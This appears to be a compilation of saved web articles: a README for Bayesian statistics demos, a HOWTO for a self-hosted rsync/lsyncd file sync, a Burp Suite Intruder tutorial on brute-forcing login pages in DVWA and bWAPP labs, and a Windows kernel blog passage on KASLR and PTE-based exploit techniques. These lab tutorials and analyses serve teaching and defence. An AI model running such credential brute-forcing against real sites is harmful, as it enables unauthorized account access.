Making of the Microsoft Empire”, HarperBusiness 1992, p 219

\[4\] Quoted in Cheryl Tsang, “Microsoft; First Generation”, Wiley & Sons,
2000, p 52.

\[5\] Ibid, p. 57

\[6\] Ibid, p. 58

\[7\] Janet Cameron, “Word Processing Revisited”, BYTE Guide to the IBM PC,
Fall 1984, p 171 <Pages from 1984\_09\_BYTE>

\[8\] ”Welcome Microsoft Word in A New Version for Windows”, by John Lombardi,
Infoworld, January 15, 1990, pps. 78-80
<Infoworld\_1990-01-15\_MicrosoftWordWindows10>

# avehtari/BDA\_py\_demos

**Created:**| _9/9/2015 9:21:36 AM_  
---|---  
**Updated:**| _9/9/2015 9:21:36 AM_  
**Author:**| __  
**Tags:**| _math_  
  
  

# Bayesian Data Analysis Python Demos

This repository contains some Python demos for the book Bayesian Data
Analysis, 3rd ed by Gelman, Carlin, Stern, Dunson, Vehtari, and Rubin
\(BDA3\).

Currently there are demos for BDA3 Chapters 2, 3, 4, 5, 6, 10 and 11.
Furthermore there is a demo for PyStan.

All demos have also notebook versions \(.ipynb\). When these are viewed in
github, the pre-generated figures are directly shown without need to install
anything.

The demos were originally written for Matlab by Aki Vehtari and translated to
Python by Tuomas Sivula.

The corresponding Matlab/Octave demos

  

# HOWTO build your own open source Dropbox clone – fak3r

**Created:**| _10/24/2010 6:36:05 PM_  
---|---  
**Updated:**| _10/24/2010 6:36:24 PM_  
**Author:**| __  
**Tags:**| _Unix setup Linux Lab-Setup Distributed systems Filesystem_  
  

## HOWTO build your own open source Dropbox clone

<img src='img/Temp2_3554.png' width='300' height='128' alt='I KAN HAZ OPEN-SRC
DROPBX?' />**UPDATE:**_Thanks to everyone who has contributed to this, and
theReddit thread, as it has provided some great ideas building off of my
concept. I’m starting to rethink about how we could have version control on
top of things, and I’ll update things when I have more to share. Also, does
anyone have iFolder \(thanks for the proper linksalubrium\) working? It looks
like you need SUSE Linux, which I don’t have access to, plus I know most
Novell projects need a \*ton\* of Mono dependencies installed to have any of
their stuff working, at least on the server side; but it sounds like they have
Mac, Linux and Windows clients, which is encouraging. While for my needs
something a bit more ‘close to the bone’ \(as below\) might be better for the
server side, having it be inter-operable with something like iFolder could
provide a lot more functionality for others._

First off, if you haven’t tried Dropbox, you should check it out; sync all of
your computers via the Dropbox servers, their basic free service gives you
2Gigs of spaceand works cross-platform \(Windows, Mac, Linux\). I use it daily
at home and work, and just having a live backup of my main data for my work
workstation, my home netbook, and any other computer I need to login to is a
huge win. Plus, I have various ‘shared’ folders that distribute certain data
to certain users that I’ve granted access to, this means work details can be
updated and automatically distributed to the folks I want to review/use the
data. I recommend everyone try it out, and see how useful it is, it’s turned
into a game changer for me. So a few months ago they made headlines on
supporting Linux as they released the client as open source. While this got
hopes up for many, it was only the client that was open source, the server is
still proprietary. While slightly disappointing, this is fine, they’re a
company trying to make money. I don’t fault them for this, it’s just that a
free, portable service like that would be a killer app.

Meanwhile at work I’m working on a solution to sync large data clusters online
and the project manager described it as the need for ‘Dropbox on steroids’.
Before I had thought it was more complicated, but after thinking about it, I
realized he was right. Look, Dropbox is a great idea, but it obviously is just
a melding of rsync, with something watching for file changes to initiate the
sync, along with an easy to use front end. From there I just started looking
at ways this could work, and there are more than a few; here’s how I made it
work.

Linux now includes inotify, which is a kernel subsystem that provides file
system event notification. From there all it took was to find an application
that listens to inotify and then kicks off a command when it hears of a
change. I tried a few different applications like inocron, inosync and iwatch,
before going with lsyncd. While all of them could work, lsyncd seemed to be
the most mature, simple to configure and fast. Lsyncd uses inotify to watch a
specified directory for any new, edited or removed files or directories, and
then calls rsync to take care of business. So let’s get started in making our
own open source Dropbox clone with Debian GNU/Linux \(lenny\)

## Ladies and gentlemen, start your ~~engines~~ servers\!

First, you need 2 severs; one being the server and the other the client. \(you
could do this on one host if you wanted to see how it works for a proof of
concept\)

## Install OpenSSH server

First you’ll need to install OpenSSH Server on the remote system:  
apt-get install openssh-server

## **Configure SSH for Passwordless Logins**

You’ll need to configure passwordless logins between the two hosts you want to
use, this is how rsync will pass the files back and forth. I’ve previously
written a HOWTO on this topic, so we’ll crib from there.

First, generate a key:

[code]

    ssh-keygen -t rsa
    
[/code]

**UPDATE** : actually, it’s easier to do it this way

[code]

    ssh-keygen -N '' -f ~/.ssh/id_dsa
    
[/code]

\(Enter\)

You shouldn’t have a key stored there yet, but if you do it will prompt you
now; make sure you overwrite it.

[code]

    Enter passphrase (empty for no passphrase):
    
[/code]

\(Enter\)

[code]

    Enter same passphrase again:
    
[/code]

\(Enter\)

We’re not using passphrases so logins can be automated, this should only be
done for scripts or applications that need this functionality, it’s not for
logging into servers lazily, and **it should not be done as root**\!

Now, replace REMOTE\_SERVER with the hostname or IP that you’re going to call
when you SSH to it, and copy the key over to the server:

[code]

    cat ~/.ssh/id_rsa.pub | ssh REMOTE_SERVER 'cat - >> ~/.ssh/authorized_keys2'
    
[/code]

**UPDATE:** now you can use ssh-copy-id for this instead \(hat tip
briealeida\)

[code]

    ssh-copy-id REMOTE_SERVER
    
[/code]

Set the permissions to a sane level:

[code]

    ssh REMOTE_SERVER 'chmod 700 .ssh'
    
[/code]

Lastly, give it a go to see if it worked:

[code]

    ssh REMOTE_SERVER
    
[/code]

You should be dropped to a prompt on the remote server. If not you may need to
redo your .ssh directory, so on both servers:

[code]

    `mv ~/.ssh ~/.ssh-old`
    
[/code]

and goto 10

## Install rsync and lsyncd

Next up is to install rsync and lsyncd. First, rsync is simple, and could
already be installed \(you don’t need to run it as a server, just the
client\), make sure you have it with:

[code]

    apt-get install rsync
    
[/code]

Next is lsyncd. There is no official Debian package yet, but it’s simple to
build from source and install. First off, if you don’t have build essentials
you’ll need them, as well as libxml2-dev to build the lsyncd source.
Installing those is as simple as:

[code]

    apt-get install libxml2-dev build-essential
    
[/code]

Now we’ll get the lsyncd code \(you can check for a newer version
athttp://lsyncd.googlecode.com\) and build that:

[code]

    wget http://lsyncd.googlecode.com/files/lsyncd-1.26.tar.gz
    tar -zxf lsyncd-1.26.tar.gz
    cd lsyncd-1.26
    ./configure
    make; make install
    
[/code]

This install does not install the configuration file, so we’ll do that
manually now:

[code]

    cp lsyncd.conf.xml /etc/
    
[/code]

## Configure lsyncd

Next up, we’ll edit the configuration file now located in /etc The file is a
simple, well documented XML file, and mine ended up like so – just be sure to
change the source and target hosts and paths to work with your systems:

[code]

    <lsyncd version="1.25">     
    
[/code]

[code]

        <settings>  
    
[/code]

[code]

            <logfile filename="/var/log/lsyncd"/>   
    
[/code]

[code]

            <!--Specify the rsync (or other) binary to call-->      
    
[/code]

[code]

            <binary filename="/usr/bin/rsync"/>     
    
[/code]

[code]

            <!--uncomment to create a file containing pid of the daemon-->  
    
[/code]

[code]

            <!--pidfile      filename="/tmp/pid"/-->        
    
[/code]

[code]

            <!--this specifies the arguments handled to the rsync (or other) binary. 
    
[/code]

[code]

            option is the default literal. only '%r' will be replaced with r when recursive
    
[/code]

[code]

           operation is wanted, d when not. exclude file will be replaced with -exclude-from FILE 
    
[/code]

[code]

           source will be the source path to sync from destination will be the
    
[/code]

[code]

            destination path to sync to -->         
    
[/code]

[code]

            <callopts>              
    
[/code]

[code]

                <option text="-lt%r"/>              
    
[/code]

[code]

                <option text="--delete"/>           
    
[/code]

[code]

                <exclude -file/>            
    
[/code]

[code]

            <source />              
    
[/code]

[code]

            <destination />         
    
[/code]

[code]

            </callopts>     
    
[/code]

[code]

        </settings> 
    
[/code]

[code]

        <directory>         
    
[/code]

[code]

            <source path="/var/www/sync_test"/>     
    
[/code]

[code]

            <target path="desthost::module/"/>      
    
[/code]

[code]

            <!--       or it can also be an absolute path for localhost        
    
[/code]

[code]

            <target path="/absolute/path/to/target">        --> 
    
[/code]

[code]

        </directory> 
    
[/code]

[code]

    </lsyncd> 
    
[/code]

## Launch lsyncd in debug for testing

We’re ready to give it a go, may as well run it in debug for fun and to learn
how lsyncd does what it does:

[code]

    lsyncd --conf /etc/lsyncd.conf.xml --debug
    
[/code]

Watch for errors, if none are found, continue.

## Add files and watch them sync

Now we just need to copy some files into this directory on the source box:

[code]

    /var/www/sync_test
    
[/code]

And again, watch for any errors on the screen, if these come back as a failed
connection it’ll be an SSH/key issue, common, and not too difficult to solve.
From here add some directories and watch how they’re queued up, and then take
a look at them on the remote box: from this point out it “just works”. Now
give it more to do by adding files and directories, and then the logging for
errors while they sync. As it stands the system uses the source system as the
preferred environment, so any files that change, or are added or removed, will
be processed on the remote system. This is analogous to how Dropbox works, you
can use multiple sources \(your laptop, your desktop, etc\) and their server
serves as the remote system, keeping all the clients in line.

## Conclusion

You should now have a basic, working Dropbox style setup for your own personal
use. I had this running and used it to sync my netbook back to my home server,
and then have my work desktop sync to my home server, so both the netbook and
the desktop would stay in sync without me doing anything besides putting files
in the specfied folder. For my week long test I ran a directory alongside my
Dropbox directory just to see how they both acted, and I didn’t have any
failures along the way.

Now we have is a simple Dropbox style app that is lightweight, with a
functional back-end running rsync, which is a known stable app that will
scale, and while it doesn’t provide the front-end and web view that Dropbox
does, that could be an easy part for a UX developer to tackle. The cool thing
is, we have a solution that works, and other options like the apps I described
in the beginning, can be dropped in and replace the functionality lsyncd
provides in case they can do something better. For now, I’m playing around
with it to learn the ins and outs of the system to see how it will behave long
term under a much larger store \(50Gig to start\) to keep in check. I will
also work on better integrating this solution it into a working system, and
update this tread with init scripts, reports, or maybe even a web view beyond
just an index view from Apache or nginx. Ideally we could have a web front end
that would intelligently report if a file is complete on the server, and if
the file is completely mirrored on another server or client. P2P or Bitorrent
would also be really cool to consider with this, and I’m sure there will be
more applications for a setup like this once we’ve it around as a resource for
a time. Can you think of more applications for this? Did you get it to work?
Can you think of a better way to do this?

  

# Beginners Guide to Burpsuite Payloads \(Part 1\)

**Created:**| _3/7/2018 8:43:19 AM_  
---|---  
**Updated:**| _3/7/2018 8:43:19 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec security tools_  
  

  

# Beginners Guide to Burpsuite Payloads \(Part 1\)

posted inPenetration Testing, Website Hacking on January 22, 2018 by  Raj
Chandel

 SHARE

Hello friends\!\! Today we are discussing about the “Types of Payload in Burp
Suite”. Burp Suite is an application which is used for testing Web application
security. Its various tools work seamlessly together to support the entire
testing process, from initial mapping and analysis of an application’s attack
surface, through to finding and exploiting security vulnerabilities. This tool
is written in JAVA and is developed by PortSwigger Security. We are going to
use the Intruder feature of Burp Suite, it is used to brute force web
applications. There are 18 types of payloads in intruder i.e.

  * **Simple list**
  * **Runtime File**
  * **Case Modification**
  * **Numbers**
  * **Brute Forcer**
  * **Character substitution**
  * **Custom iterator**
  * **Recursive grep**
  * **Illegal Unicode**
  * **Character blocks**
  * **Dates**
  * **Brute Forcer**
  * **Null Payloads**
  * **Character frober**
  * **Bit Flipper**
  * **Username generator**
  * **ECB block shuffler**
  * **Extension Generated**
  * **Copy other payload**

### **Simple List**

This is one of the simple types of payload, as it allows you to configure a
short Dictionary of strings which are used as payload.

First, we intercept the request of the login page in the **DVWA LAB** , where
we have given a random username and password. Then click on login, the burp
suite will capture the request of the login page.

<img src='img/1402_6.png' width='634' height='295' />

Send the captured request to the**Intruder** by clicking on the Action Tab and
follow given below step. Now open the **Intruder** tab then select
**positions** and you can observe the highlighted username and password and
follow the given below step for selecting payload position.

  * Press on the **Clear button** given at right of window frame.
  * Now we will select the fields where we want to attack which is the username and password and click on **Add button.**
  * Choose the **Attack type** as **Cluster Bomb.**
  * In the given below image we have selected username and password that means we will need two dictionary files i.e. one for username and second for password.

<img src='img/1400_7.png' width='634' height='357' />

So now, go to **Payloads tab** and the select **1** from **Payload set**\(this
‘1’ denotes the first file to be selected\). Then click on **Load** button
**and select** your dictionary file for username.

<img src='img/1397_8.png' width='634' height='460' />

Now select **2** in the **Payload set** and again give the dictionary file for
the password. Select **Start Attack** in the **Intruder menu** as shown in the
image.

<img src='img/1391_9.png' width='634' height='474' />

Now the burp suite will do its work, match the valid combination of username
and password and will give you the correct password and username. The moment
it will find the correct value, it will change the value of length as shown.

<img src='img/1390_10.png' width='634' height='469' />

And to confirm the username and password matched, we will give the matched
username and password in the**DVWA LAB login page**. We will see a message
**“Welcome to the password protected area admin”** which shows are success in
the simple list payload attack.

<img src='img/1389_11.png' width='633' height='381' />

### **Runtime File**

This type of payload allows you to configure a file which reads the payload
strings at runtime. This type of payload is needed when we require large list
of payloads, to avoid holding the entire list in memory. This payload allows
you to configure large list of strings which overcomes the simple list payload
type.

First, we have intercepted the request of the login page in the **DVWA LAB** ,
where we have given a random username and a random password. Then click on
login, the burp suite will capture the request of the login page in the
intercept tab.

<img src='img/1405_12.png' width='634' height='314' />

Send the captured request to the**Intruder** and follow given below step. Now
open the **Intruder tab** then select **positions** and you can observe the
highlighted password and follow the given below step for selecting payload
position.

  * Press on the **Clear button** given at right of window frame.
  * Now we will select the fields where we want to attack and i.e. the password filed and click on **Add button.**
  * Choose the **Attack type** as
  * In the given below image we have selected password that means we will need one dictionary file for password.

<img src='img/1388_13.png' width='634' height='307' />

Then select the “Payload type” as **Runtime File** and then give the path of
dictionary in the “payload options” as **/usr/share/wordists/rockyou.txt**
which is the largest dictionary in **Kali Linux**. Select **Start Attack** in
the **Intruder menu**.

<img src='img/1385_14.png' width='634' height='354' />

Now the burp suite will do its work, match the password and will give you the
correct password. The moment it will find the correct value, it will change
the value of length as shown.

<img src='img/15.png' width='634' height='512' />

### **Case Modification**

This type of payload allows you to configure a list of strings and apply
various case modifications to each item on the list. This is useful in
password guessing attacks, for generating case variations on dictionary words.

The following case modification rules can be selected:

  * **No change** – The item is used without being modified.
  * **To lower case** – All letters in the item are converted to lower case.
  * **To upper case** – All letters in the item are converted to upper case.
  * **To Proper name** – The first letter in the item is converted to upper case, and the remaining letters are converted to lower case.
  * **To Proper Name** – The first letter in the item is converted to upper case, and the remaining letters are not changed.

For example, if we select all the modification options, then the item “Raj
Chandel” will generate the following payloads:

Raj Chandel

raj chandel

RAJ CHANDEL

Raj chandel

First, we intercept the request of the login page in the **DVWA LAB** , where
we have given a random username and a random password. Then click on login ,
the burp suite will capture the request of the login page in the intercept
tab. Send the captured request to the**Intruder** by right clicking on the
space and selecting **Send to Intruder** option or simply press **ctrl + i**.

<img src='img/1386_17.png' width='634' height='293' />

Now open the **Intruder tab** then select **positions** and you can observe
the highlighted password and follow the given below step for selecting payload
position.

  * Press on the **Clear button** given at right of window frame.
  * Now we will select the fields where we want to attack and i.e. the password filed and click on **Add button.**
  * Choose the **Attack type** as
  * In the given below image we have selected password that means we will need one dictionary file for password.

<img src='img/1393_18.png' width='634' height='300' />

Then select the “Payload” type as **Case Modification,** we have selected the
**No change** and **to lower case** fields in the “payload options” of the
case modification as shown in the image. We have added a default **Password
dictionary** from the **Add from list** field in the payload options. Select
**Start Attack** in the **Intruder menu** as shown in the image.

<img src='img/1399_19.png' width='634' height='514' />

Now the burp suite will do its work, match the password and will give you the
correct password. The moment it will find the correct value, it will change
the value of length as shown.

<img src='img/1403_20.png' width='634' height='484' />

### **Numbers**

This type of payload generates numeric payloads within a given range and in a
specified format.

The following options are available in this payload:

  * Number range:

  * **Type** – the type options describes that the numbers should be generated sequentially or randomly.
  * **From** – If numbers are being generated sequentially, this is the value of the first number that will be generated.
  * **To** – If numbers are being generated sequentially, this value of the last number that will be generated. It is said as the highest possible number that may be randomly generated.
  * **Step** – the step option is used when numbers are being generated sequentially and specifies the increment in the successive numbers.
  * **How many** – This option is available when numbers are being generated randomly, and specifies the number of payloads that will be generated

First, we intercept the request of the login page in the **Bwapp Lab** , where
we have given a random username and a random password. Then click on login,
the burp suite will capture the request of the login page.

<img src='img/1396_22.png' width='634' height='339' />

Send the captured request to the**Intruder** and follow given below step. Now
open the **Intruder tab** then select **positions** and you can observe the
highlighted password and follow the given below step for selecting payload
position.

  * Press on the **Clear button** given at right of window frame.
  * Now we will select the fields where we want to attack and i.e. the password filed and click on **Add button.**
  * Choose the **Attack type** as
  * In the given below image we have selected password that means we will need one dictionary file for password.

<img src='img/23.png' width='634' height='344' />

Then select the **Payload type** as **Numbers** where we have set the **number
range from 100 to 150** and we have set the **step as 1** as shown in the
image**,** select **Start Attack** in the **Intruder menu**.

<img src='img/24.png' width='634' height='376' />

Now the burp suite will do its work, match the password and will give you the
correct password. The moment it will find the correct value, it will change
the value of length as shown.

<img src='img/25.png' width='634' height='421' />

As the password matches with a number which is between the given number range.
And to confirm the password matched, we will give the password in the **Bwapp
LAB login page** , which will successfully log us into the **Bwapp lab**. This
shows our success in the attack.

<img src='img/26.1.png' width='630' height='812' />

### **Brute Forcer**

This type of payload generates a payload of specified lengths that contain all
permutations of list of characters in the given string.

The following options are available:

  * **Character set** – The set of characters to be used in the payloads. Note that the total number of payloads increases exponentially with the size of this set.
  * **Min length** – The length of the shortest payload.

  * **Max length** – The length of the longest payload.

First, we intercept the request of the login page in the **Bwapp LAB** , where
we have given a random username and a random password. Then click on login,
the burp suite will capture the request of the login page.

<img src='img/26.png' width='634' height='322' />

Send the captured request to the**Intruder** and follow given below step. Now
open the **Intruder tab** then select **positions** and you can observe the
highlighted password and follow the given below step for selecting payload
position.

  * Press on the **Clear button** given at right of window frame.
  * Now we will select the fields where we want to attack and i.e. the password filed and click on **Add button.**
  * Choose the **Attack type** as
  * In the given below image we have selected password that means we will need one dictionary file for password.

<img src='img/27.png' width='634' height='349' />

Then select the “Payload type” as **Brute Forcer** where we can give any kind
of input into the “character set” as shown in the figure , as we have given
**213** and we have set the Min length as 3 and Max length as 3 as shown in
the image. We can manually give the **Min length** and**Max length** as per
your need. Select **Start Attack** in the **Intruder menu** as shown in the
image.

<img src='img/28.png' width='634' height='329' />

Now the burp suite will do its work, match the password and will give you the
correct password. The moment it will find the correct value, it will change
the value of length as shown.

<img src='img/25.png' width='634' height='421' />

**Great\!\!** We have used Top 5 payloads of Burpsuite for login page brute
force attack successfully.

**Note: In this articles \(part-1\) we will be performing top 5 payload types
and the rest of the payload types will be discussed in the \(part-2\) of this
article.**

**Author** : Ashray Gupta is a Researcher and Technical Writer at Hacking
Articles**.** He is a certified ethical hacker, web penetration tester and a
researcher in nanotechnology.

### Share this:

  * Click to share on Twitter \(Opens in new window\)
  * Click to share on Facebook \(Opens in new window\)
  * Click to share on Google+ \(Opens in new window\)
  * 

### Like this:

Loading...

### _Related_

Beginners Guide to Burpsuite Payloads \(Part 2\)January 29, 2018In
"Penetration Testing"

Fuzzing SQL,XSS and Command Injection using Burp SuiteJuly 27, 2017In
"Penetration Testing"

5 ways to Brute Force Attack on Wordpress WebsiteNovember 18, 2016In "Kali
Linux"

  

# Owning the Image Object File Format, the Compiler Toolchain, and the
Operating System: Solving Intractable Performance Problems Through Vertical
Engineering « Alex Ionescu’s Blog

**Created:**| _5/31/2017 6:09:33 PM_  
---|---  
**Updated:**| _5/31/2017 6:09:33 PM_  
**Author:**| __  
**Tags:**| _windows reversing kernel_  
  

  

## Owning the Image Object File Format, the Compiler Toolchain, and the
Operating System: Solving Intractable Performance Problems Through Vertical
Engineering

## Closing Down Another Attack Vector

As the Windows kernel continues to pursue in its quest for ever-stronger
security features and exploit mitigations, the existence of fixed addresses in
memory continues to undermine the advances in this area, as attackers can use
data corruption vulnerabilities and combine these with stack and instruction
pointer control in order to bypass SMEP, DEP, and countless other
architectural defense-in-depth techniques. In some cases, entire mitigations
\(such as CFG\) are undone due to their reliance on a single, well-known
static address.

In the latest builds of Windows 10 Redstone 1, aka “Anniversary Update”, the
kernel takes a much stronger toward Kernel Address Space Layout Randomization
\(KASLR\), employing an arsenal of tools that can only be available to an
operating system developer that also happens to own the world’s most
commercially successful compiler, and the world’s most pervasive executable
object image format.

## **The Page Table Entry Array**

One of the most unique aspects of the Windows kernel is the reliance on a
fixed kernel address to represent the virtual base address of an array of page
table entries that describes the entire virtual address space, and the usage
of a self-referencing entry which acts as a pivot describing the page
directory for the space itself \(and, on x64 systems, describing the page
directory table itself, and the page map level 4 itself\).

This elegant solutions allows instant O\(1\) translation of any virtual
address to its corresponding PTE, and with the correct shifts and base
addresses, a conversion into the corresponding PDE \(and PPE/PXE on x64
systems\). For example, the function _MmGetPhysicalAddress_ only needs to work
as follows:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    
[/code]

|

[code]

    PHYSICAL_ADDRESS
    MmGetPhysicalAddress (
        _In_ PVOID Address
        )
    {
        MMPTE TempPte;
     
        /* Check if the PXE/PPE/PDE is valid */
        if (
    #if (_MI_PAGING_LEVELS == 4)
           (MiAddressToPxe(Address)->u.Hard.Valid) &&
    #endif
    #if (_MI_PAGING_LEVELS >= 3)
           (MiAddressToPpe(Address)->u.Hard.Valid) &&
    #endif
           (MiAddressToPde(Address)->u.Hard.Valid))
       {
           /* Check if the PTE is valid */
           TempPte = *MiAddressToPte(Address);
           ...
       }
[/code]  
---|---  
Each iteration of the MMU table walk uses simple _MiAddressTo_ macros such as
the one below, which in turn rely on hard-code static addresses.

[code]

    1
    2
    3
    
[/code]

|

[code]

    /* Convert an address to a corresponding PTE */
    #define MiAddressToPte(x) \
       ((PMMPTE)(((((ULONG)(x)) >> 12) << 2) + PTE_BASE))
[/code]  
---|---  
As attackers have figured out, however, this “elegance” has notable security
implications. For example, if a write-what-where is mitigated by the existence
of a read-only page \(which, in Linux, would often imply requiring the WP bit
to be disabled in CR0\), a Windows attacker can simply direct the write-what-
where attack toward the pre-computed PTE address in order to disable the
WriteProtect bit, and then follow that by the actual write-what-where on the
data.

Similarly, if an exploit is countered by SMEP, which causes an access
violation when a Ring 0 Code Segment’s Instruction Pointer \(CS:RIP\) points
to a Ring 3 PTE, the exploit can simply use a write-what-where \(if one
exists\), or ROP \(if the stack can be controlled\), in order to mark the
target user-mode PTE containing malicious code, as a Ring 0 page.

Other PTE-based attacks are also possible, such as by using write-what-where
vulnerabilities to redirect a PTE to a different physical address which is
controlled by the attacker \(undocumented APIs available to Administrators
will leak the physical address space of the OS, and some physical addresses
are also leaked in the registry or CPU registers\).

Ultimately, the list goes on and on, and many excellent papers exist on the
topic. It’s clear that Microsoft needed to address this limitation of the
operating system \(or clever optimization, as some would call it\).
Unfortunately, a number of obstacles exist:

  * » Using virtual-mapped tables based on the EPROCESS structure \(as Linux and OS X do\) causes significant performance impact, as pointer chasing the different tables now causes cache misses and page translations. This becomes even worse when thinking about multi-processor systems, and the cache waste that this causes \(where the TLB may end up getting filled with the various global \(locked\) pages corresponding to the page tables of various processes, instead of only the current process\).
  * » Changing the address of the PTE array has a number of compatibility concerns, as PTE\_BASE is actually documented in ntddk.h, part of the Windows Driver Kit. Additionally, once the new address is discovered, attackers can simply adjust their exploits to use the appropriate static address based on the version of the operating system.
  * » Randomizing the address of the PTE array means that Windows memory manager functions can no longer use a static constant or preprocessor definition for the address, but must instead access a global address which contains it. Forcing every processor to dereference a single global address every single time a virtual memory operation \(allocation, protection, page walk, fault, etc…\) is performed is a significantly negative performance hit, especially on multi-socket, NUMA systems.
  * » Dealing with the global variable problem above by creating cache-aligned copies of the address in a per-processor structure causes a waste of precious kernel storage space \(for example, assuming a 64-byte cache line and 640 processors, 40KB of physical memory are used to replicate the variable most efficiently\). However, on NUMA systems, one would also want the page containing this data to be local to the node, so we might imagine an overhead of 4KB per socket. In practice, this wouldn’t be quite as bad, as Windows already has a per-NUMA-node-allocated, per-processor, cache-aligned list of critical kernel variables: the Kernel Processor Region Control Block \(KPRCB\).

In a normal world, the final bullet would probably be the most efficient
solution: sacrificing what is today a modest amount of physical memory \(or
re-using such a structure\) for dealing with effects of global access. Yet,
locating this per-processor data would still not be cheap: most operating
systems access such a structure by relying on a segment register such as FS or
GS on x86 and x64 systems, or use special CPU registers such as those located
on CP15 inside of ARM processors. At the very least, this causes more pointer
dereferences and potentially complex microcode accesses. But if we own the
compiler and the output format, can’t we think outside the box?

## **Dynamic Relocation Generation**

When the Portable Executable \(PE\) file format was created, its designers
realized an important issue: if compiled code made absolute references to data
or functions, these hardcoded pointer values might become invalid if the
operating system loaded the executable binary at a different base address than
its preferred address. Originally a corner case, the advent of user-mode ASLR
made this a common occurrence and new reality.

In order to deal with such rebasing operations, the PE format includes the
definition of a special data directory entry called the Relocation Table
Directory \(IMAGE\_DIRECTORY\_ENTRY\_BASERELOC\). In turn, this directory
includes a number of tables, each of which is an array of entries. Each entry
ultimately describes the offset of a piece of code that is accessing an
absolute virtual address, and the required adjustment that is needed to fixup
the address. On a modern x64 binary, the only possible fixup is an absolute
delta \(increment or decrement\), but more exotic architectures such as MIPS
and ARM had different adjustments based on how absolute addresses were encoded
on such processors\).

These relocations work great to adjust hardcoded virtual addresses that
correspond to code or data within the image itself – but if there is a hard-
coded access to 0xC0000000, an address which the compiler has no understanding
of, and which is not part of the image, it can’t possibly emit relocations for
it – this is a meaningless data dereference. But what if it could?

In such an implementation, all accesses to a particular magic hardcoded
address could be described as such to the compiler, which could then work with
the linker to generate a similar relocation table – but instead of describing
addresses within the image, it would describe addresses outside of the image,
which, if known and understood by the PE parser, could be adjusted to the new
location of the hard-coded external data address. By doing so, compiled code
would continue to access what appears to be a single literal value, and no
global variable would ever be needed, cancelling out any disadvantages
associated with the randomization of this address.

Indeed, the new build of the Microsoft C Compiler, which is expected to ship
with Visual Studio 15 \(now in preview\), address a special annotation that
can be associated with constant values that correspond to external virtual
addresses. Upon usage of such a constant, the compiler will ensure that
accesses are done in a way that does not “break up” the address, but rather
causes its absolute value to be expressed in code \(i.e.: “mov rax,
0xC0000000”\). Then, the linker collects the RVAs of such locations and builds
structures of type IMAGE\_DYNAMIC\_RELOCATION\_ENTRY, as shown below:

[code]

    1
    2
    3
    4
    5
    
[/code]

|

[code]

    typedef struct _IMAGE_DYNAMIC_RELOCATION_TABLE {
       DWORD Version;
       DWORD Size;
    // IMAGE_DYNAMIC_RELOCATION DynamicRelocations[0];
    } IMAGE_DYNAMIC_RELOCATION_TABLE, *PIMAGE_DYNAMIC_RELOCATION_TABLE;
[/code]  
---|---  
When all entries have been written in the image, an
IMAGE\_DYNAMIC\_RELOCATION\_TABLE structure is written, with the type below:

[code]

    1
    2
    3
    4
    5
    
[/code]

|

[code]

    typedef struct _IMAGE_DYNAMIC_RELOCATION {
       PVOID Symbol;
       DWORD BaseRelocSize;
    // IMAGE_BASE_RELOCATION BaseRelocations[0];
    } IMAGE_DYNAMIC_RELOCATION, *PIMAGE_DYNAMIC_RELOCATION;
[/code]  
---|---  
The RVA of this table is then written into the IMAGE\_LOAD\_CONFIG\_DIRECTORY,
which has been extended with the new field _DynamicValueRelocTable_ and whose
size has now been increased:

[code]

    1
    2
    
[/code]

|

[code]

       ULONGLONG DynamicValueRelocTable;         // VA
    } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64;
[/code]  
---|---  
Now that we know how the compiler and linker work together to generate the
data, the next question is who processes it?

## **Runtime Dynamic Relocation Processing**

In the Windows boot architecture, as the kernel is a standard PE file loaded
by the boot loader, it is therefore the boot loader’s responsibility to
process the import table of the kernel, and load other required dependencies,
to generate the security cookie, and to process the static \(standard\)
relocation table. However, the boot loader does not have all the information
required by the memory manager in order to randomize the address space as
Windows 10 Redstone 1 now does – this remains the purview of the memory
manager. Therefore, as far as the boot loader is concerned, the static
PTE\_BASE address is still the one to use, and indeed, early phases of boot
still use this address \(and associate PDE/PPE/PXE base addresses and self-
referencing entry\).

This clearly implies that it is not considered part of a PE loader’s job to
process the dynamic relocation table, but rather the job of the component that
creates the dynamic address space map, which has now been enlightened with
this knowledge. In the most recent builds, this is done by
_MiRebaseDynamicRelocationRegions,_ which eventually calls
_MiPerformDynamicFixups_. This routine locates the PE file’s Load
Configuration Directory, gets the RVA \(now a VA, thanks to relocations done
by the boot loader\) of the Dynamic Relocation Table, and begins parsing it.
At this moment, it only supports version 1 of the table. Then, it loops
through each entry, adjusting the absolute address with the required delta to
point to the new PTE\_BASE address.

It is important to note that the memory manager only calls
_MiPerformDynamicFixups_ on the binaries that it knows require such fixups due
to the use of PTE\_BASE: the kernel \(ntoskrnl.exe\) and the HAL \(hal.dll\).
As such, this is not \(yet\) intended as a generic mechanism for all PE files
to allow dynamic relocations of hard-coded addresses toward ASLRed regions of
memory – but rather a highly vertically integrated feature specifically
designed for dealing with the randomization of the PTE array, and the
components that have hardcoded dependencies on it.

As such, even if one were to discover the undocumented annotation which allows
the new version of the compiler to generate such tables, no component would
currently parse such a table.

## **Sneaky Side Effects**

A few interesting details are of note in the implementation. The first is that
the initial version of the implementation, which shipped in build 14316,
contained a static address in the loader block, which corresponded to the PTE
base address that the loader had selected, and was then overwritten by a new
fixed PTE base address \(0xFFFFFA00\`00000000 on x64\).

The WDK, which contains the PTE\_BASE address for developers to see \(but
apparently not use\!\) also contained this new address, and the debugger was
updated to support it. This was presumably done to gauge the impact of
changing the address in any way – and indeed we can see release notes
referring to certain AV products breaking around the time this build was
released. I personally noticed this change by disassembling
_MmGetPhysicalAddress_ to see if the PTE base had been changed \(a normal part
of my build analysis\).

The next build, 14332, seemingly contained no changes: reverse engineering of
the function showed usage of the same address once again. However, as I was
playing around with the _\!pte_ extension in the debugger, I noticed that a
new address was now being used – and that on a separate machine, this address
was different again. Staring in IDA/Hex-Rays, I could not understand how this
was possible, as _MmGetPhysicalAddress_ was clearly using the same new base as
14316\!

It is only once I unassembled the function in WinDBG that I noticed something
strange – the base address had been modified to a different value. This led me
to the hunt for the dynamic relocation table mechanism. But this is an
important point about this implementation – it offers a small amount of
“security through obscurity” as a side-effect: attackers or developers
attempting to ‘dynamically discover’ the value of the PTE base by analyzing
the kernel file on disk will hit a roadblock – they must look at the kernel
file in memory, once relocations have been made. Spooky\!

## **Conclusion**

It is often said that all software engineering decisions and features lie
